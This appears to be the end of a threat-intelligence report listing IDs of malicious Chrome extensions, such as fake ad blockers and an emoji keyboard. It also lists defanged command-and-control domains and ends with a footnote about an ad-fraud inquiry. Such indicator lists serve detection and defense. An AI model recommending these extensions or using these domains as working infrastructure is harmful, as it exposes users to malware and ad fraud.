nlgphodeccebbcnkgmokeegopgpnjfkc Super dark mode
fbcgkphadgmbalmlklhbdagcicajenei Emoji keyboard emojis for chrome
alplpnakfeabeiebipdmaenpmbgknjce Adblocker for Chrome - NoAds
ogcaehilgakehloljjmajoempaflmdci Adblock for You
onomjaelhagjjojbkcafidnepbfkpnee Adblock for Chrome
bpconcjcammlapcogcnnelfmaeghhagj Nimble capture
gdocgbfmddcfnlnpmnghmjicjognhonm KProxy
Command and Control Domains
blipshotextension[.]com
emojikeyboardextension[.]com
watoolkit[.]com
colorchanger[.]net
ytvideoeffectsextension[.]com
themesforytextension[.]com
adblockforytextension[.]com
pagerefresh-extension[.]com
wistiaextension[.]com
sdmextension[.]com
emojikeyboardforchrome[.]com
noadsadblocker[.]com
abu-xt[.]com
abfc-extension[.]com
nimblecapture[.]com
kproxyservers[.]site
-
AdsSquared contacted us in March 2025 and stated they "are investigating these attempts at ad fraud and initially find they were likely ineffectual." ↩